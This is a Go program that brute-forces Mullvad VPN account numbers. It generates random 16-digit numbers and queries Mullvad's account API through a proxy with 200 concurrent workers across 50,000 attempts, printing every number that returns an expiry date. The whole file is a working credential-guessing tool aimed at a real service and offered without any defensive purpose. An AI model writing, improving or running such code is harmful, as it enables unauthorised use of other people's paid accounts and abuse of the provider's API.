package main import ( "encoding/json" "fmt" "io" "math/rand" "net/http" "net/url" "strings" "time" "github.com/panjf2000/ants" ) var ( proxy = "" // Proxy URL workers = 200 // Worker threads amount = 50000 // Account amount timeout = time.Second * 10 // Request timeout ) func init() { // Generate random seed rand.New(rand.NewSource(time.Now().UnixNano())) } // A login type Login struct { Number int Client *http.Client Results chan string } // API error type Error struct { Code string `json:"code"` } // API response type Response struct { Account struct { Expires string `json:"expires"` } `json:"account"` } // Attempt a login func (l *Login) Attempt() { // GET request req, err := http.NewRequest( "GET", fmt.Sprintf("https://api.mullvad.net/www/accounts/%d", l.Number), nil, ) if err != nil { l.Results <- "" return } // Execute request res, err := l.Client.Do(req) if err != nil { l.Results <- "" return } // Read body body, err := io.ReadAll(res.Body) if err != nil { l.Results <- "" return } // Store JSON var response Response var error Error // Parse JSON json.Unmarshal(body, &response) json.Unmarshal(body, &error) // Account found if response.Account.Expires != "" { l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, response.Account.Expires) return } // Error found if error.Code != "" || strings.ContainsAny(string(body), "503 Service Temporarily Unavailable") { l.Results <- "" return } } func main() { // Get job count jobs := amount // Half worker amount if workers == jobs { workers = workers / 2 } else if workers >= jobs { workers = 1 } // Results channel, new pool results := make(chan string) pool, err := ants.NewPool(workers) // Handle error if err != nil { panic(err) } defer pool.Release() // Make amount of accounts for n := 0; n <= amount; n++ { // Generate number number := rand.Intn(9999999999999999 - 1000000000000000) // Parse proxy URL url, err := url.Parse(proxy) if err != nil { panic(err) } // New HTTP client client := &http.Client{ Transport: &http.Transport{ Proxy: http.ProxyURL(url), }, Timeout: timeout, } // Create login login := &Login{ Number: number, Client: client, Results: results, } // Submit job pool.Submit(func() { // Attempt login login.Attempt() }) } // Recieve all results for r := 1; r <= jobs; r++ { result := <-results if result != "" { fmt.Println(result) } } defer close(results) }